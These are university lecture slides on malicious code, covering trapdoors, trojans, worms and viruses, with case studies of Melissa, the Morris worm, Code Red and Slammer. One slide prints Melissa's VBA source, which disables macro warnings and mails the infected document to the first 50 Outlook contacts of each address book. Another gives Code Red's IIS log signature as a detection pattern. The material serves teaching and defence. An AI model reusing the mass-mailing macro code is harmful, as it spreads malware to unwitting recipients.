CSE331: Introduction to Networks and Security

Lecture 14
Fall 2006
Announcements

• Homework 1 has been graded:
  – Class average: 82
  – Std. Dev.: 13
Malicious Code

• Trapdoors  (e.g. debugging modes)
• Trojan Horses  (e.g. Phishing, Web sites with exploits)
• Worms  (e.g. Slammer, Sasser, Code Red)
• Viruses  (e.g. Bagle MyDoom mail virus)

• The distinction between worms and viruses is somewhat fuzzy
Effects of Malicious Code

- Data corruption
- Denial of service
  - Crash machines
  - Overload network infrastructure
- Expose confidential / secret information
- Create "zombie" devices
  - Allows attacker to use other people's machines, often for spam, or distributed denial of service
Trapdoors

• A trapdoor is a secret entry point into a module
  – Affects a particular system

• Inserted during code development
  – Accidentally (forget to remove debugging code)
  – Intentionally (maintenance)
  – Maliciously (an insider creates a hole)
Trojan Horse

- A program that pretends to be do one thing when it does another
  - Or does more than advertised

- Login Prompts
  - Trusted path

- Accounting software

- Examples:
  - Game that doubles as a sshd process.
  - Phishing attacks (Spoofed e-mails/web sites)
Worms (In General)

• Self-contained running programs
  – Unlike viruses (although this distinction is mostly academic)

• Infection strategy more active
  – Exploit buffer overflows
  – Exploit bad password choice

• Defenses:
  – Filtering firewalls
  – Monitor system resources
  – Proper access control
Viruses

• A *computer virus* is a (malicious) program
  – Creates (possibly modified) copies of itself
  – Attaches to a host program or data
  – Often has other effects (deleting files, “jokes”, messages)

• Viruses cannot propagate without a “host”
  – Typically require some user action to activate
Virus/Worm Writer’s Goals

- Hard to detect
- Hard to destroy or deactivate
- Spreads infection widely/quickly
- Can reinfect a host
- Easy to create
- Machine/OS independent
Kinds of Viruses

- **Boot Sector Viruses**
  - Historically important, but less common today

- **Memory Resident Viruses**
  - Standard infected executable

- **Macro Viruses (probably most common today)**
  - Embedded in documents (like Word docs)
  - Macros are just programs
  - Word processors & Spreadsheets
    - Startup macro
    - Macros turned on by default
  - Visual Basic Script (VBScript)
Melissa Macro Virus

• Implementation
  – VBA (Visual Basic for Applications) code associated with the "document.open" method of Word

• Strategy
  – Email message containing an infected Word document as an attachment
  – Opening Word document triggers virus if macros are enabled
  – Under certain conditions included attached documents created by the victim
Melissa Macro Virus: Behavior

• Setup
  – lowers the macro security settings
  – permit all macros to run without warning
  – Checks registry for key value “… by Kwyjibo”
  – HKEY_Current_User\Software\Microsoft\Office\Melissa?

• Propagation
  – sends email message to the first 50 entries in every Microsoft Outlook MAPI address book readable by the user executing the macro
Melissa Macro Virus: Behavior

• Propagation Continued
  – Infects Normal.doc template file
  – Normal.doc is used by all Word documents

• “Joke”
  – If minute matches the day of the month, the macro inserts message “Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here.”
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> ""
Then
    CommandBars("Macro").Controls("Security...").Enabled = False
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
    CommandBars("Tools").Controls("Macro").Enabled = False
    Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("
    "HKEY_CURRENT_USER\Software\Microsoft\Office", "Melissa?") <> "... by Kwyjibo"
Then
If UngaDasOutlook = "Outlook" Then
    DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
            Peep = AddyBook.AddressEntries(x)
            BreakUmOffASlice.Recipients.Add Peep
            x = x + 1
            If x > 50 Then oo = AddyBook.AddressEntries.Count
        Next oo
        BreakUmOffASlice.Subject = "Important Message From " &
        Application.UserName
        BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
        BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
        BreakUmOffASlice.Send
        Peep = ""
    Next y
End If
Worm Research Sources

• "Inside the Slammer Worm"
  – Moore, Paxson, Savage, Shannon, Staniford, and Weaver

• "How to Own the Internet in Your Spare Time"
  – Staniford, Paxson, and Weaver

• "The Top Speed of Flash Worms"
  – Staniford, Moore, Paxson, and Weaver

• "Internet Quarantine: Requirements for Containing Self-Propagating Code"
  – Moore, Shannon, Voelker, and Savage

• "Automated Worm Fingerprinting"
  – Singh, Estan, Varghese, and Savage

• Links on the course web pages.
Morris Internet Worm

- November 2, 1988
- Infected around 6,000 major Unix machines
- Cost of the damage at $10m - $100m
- Robert T. Morris Jr. unleashed Internet worm
  - Graduate student at Cornell University
  - Convicted in 1990 of violating Computer Fraud and Abuse Act
  - $10,000 fine, 3 yr. Suspended jail sentence, 400 hours of community service

- Son of the chief scientist at the National Computer Security Center -- part of the National Security Agency
- Today he’s a professor at MIT
The Morris Worm Did Not:

- Alter or destroy files
- Save or transmit the passwords which it cracked
- Make special attempts to gain root or superuser access in a system (and didn't utilize the privileges if it managed to get them).
- Place copies of itself or other programs into memory to be executed at a later time. (Such programs are commonly referred to as timebombs.)
- Attack machines other than Sun 3 systems and VAX computers running 4 BSD Unix (or equivalent).
- Attack machines that were not attached to the internet.
- Travel from machine to machine via disk.
- Cause physical damage to computer systems.
Morris Worm Transmission

• Find user accounts on the target machine
  – Dictionary attack on /etc/passwd
  – If it found a match, it would log in and try the same username/password on other local machines

• Exploit bug in fingerd
  – Classic buffer overflow attack

• Exploit *trapdoor* in sendmail
  – Programmer left DEBUG mode in sendmail, which allowed sendmail to execute an arbitrary shell command string.
Morris Worm Infection

• Sent a small loader to target machine
  – 99 lines of C code
  – It was compiled on the remote platform (cross platform compatibility!)
  – The loader program transferred the rest of the worm from the infected host to the new target.
  – Used authentication! To prevent sys admins from tampering with loaded code.
  – If there was a transmission error, the loader would erase its tracks and exit.
Morris Worm Stealth/DoS

- When loader obtained full code
  - It put into main memory and encrypted
  - Original copies were deleted from disk
  - (Even memory dump wouldn’t expose worm)
- Worm periodically changed its name and process ID
- Resource exhaustion
  - Denial of service
  - There was a bug in the loader program that caused many copies of the worm to be spawned per host
- System administrators cut their network connections
  - Couldn’t use internet to exchange fixes!
Code Red Worm (July 2001)

- Exploited buffer overflow vulnerability in IIS Indexing Service DLL

- Attack Sequence:
  - The victim host is scanned for TCP port 80.
  - The attacking host sends the exploit string to the victim.
  - The worm, now executing on the victim host, checks for the existence of `c:\notworm`. If found, the worm ceases execution.
  - If `c:\notworm` is not found, the worm begins spawning threads to scan random IP addresses for hosts listening on TCP port 80, exploiting any vulnerable hosts it finds.
  - If the victim host's default language is English, then after 100 scanning threads have started and a certain period of time has elapsed following infection, all web pages served by the victim host are defaced with the message,
Code Red Analysis


- In less than 14 hours, 359,104 hosts were compromised.
  - Doubled population in 37 minutes on average

- Attempted to launch a Denial of Service (DoS) attack against www1.whitehouse.gov,
  - Attacked the IP address of the server, rather than the domain name
  - Checked to make sure that port 80 was active before launching the denial of service phase of the attack.
  - These features made it trivially easy to disable the Denial of Service (phase 2) portion of the attack.
  - We cannot expect such weaknesses in the design of future attacks.
Code Red Worm

• The "Code Red" worm can be identified on victim machines by the presence of the following string in IIS log files:

```
/defaulida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
```

• Additionally, web pages on victim machines may be defaced with the following message:

   HELLO! Welcome to http://www.worm.com!
   Hacked By Chinese!
Slammer Worm

- Saturday, 25 Jan. 2003 around 05:30 UTC
- Exploited buffer overflow in Microsoft's SQL Server or MS SQL Desktop Engine (MSDE).
  - Port 1434 (not a very commonly used port)
- Infected > 75,000 hosts (likely more)
  - Less than 10 minutes!
  - Reached peak scanning rate (55 million scans/sec) in 3 minutes.
- No malicious payload

- Used a single UDP packet with buffer overflow code injection to spread.
- Bugs in the Slammer code slowed its growth
  - The author made mistakes in the random number generator
Internet Worm Trends

- **Code Red, Code Red II, Nimda** (TCP 80, Win IIS)
  - Code Red infected more than 350,000 on July 19, 2001 by several hours
  - Uniformly scans the entire IPv4 space
  - Code Red II (local scan), Nimda (multiple ways)

- **SQL Slammer** (UDP 1434, SQL server)
  - Infected more than 75,000 on Jan 25, 2003
  - Infected 90% of vulnerable hosts in 10 minutes.

- **Blaster** (TCP 135, Win RPC)
  - Sequential scan; infected 300,000 to more than 1 million hosts on August 11, 2003.
But it gets worse: Flash Worms

- Paper: "The Top Speed of Flash Worms"
- Idea: Don't do random search
  - Instead, partition the search space among instances of the worm
  - Permutation scanning
  - Or, keep a tailored "hit list" of vulnerable hosts and distribute this initial set to the first worms spawned

- Simulations suggest that such a worm could saturate 95% of 1,000,000 vulnerable hosts on the Internet in 510 milliseconds.
  - Using UDP
  - For TCP it would take 1.3 seconds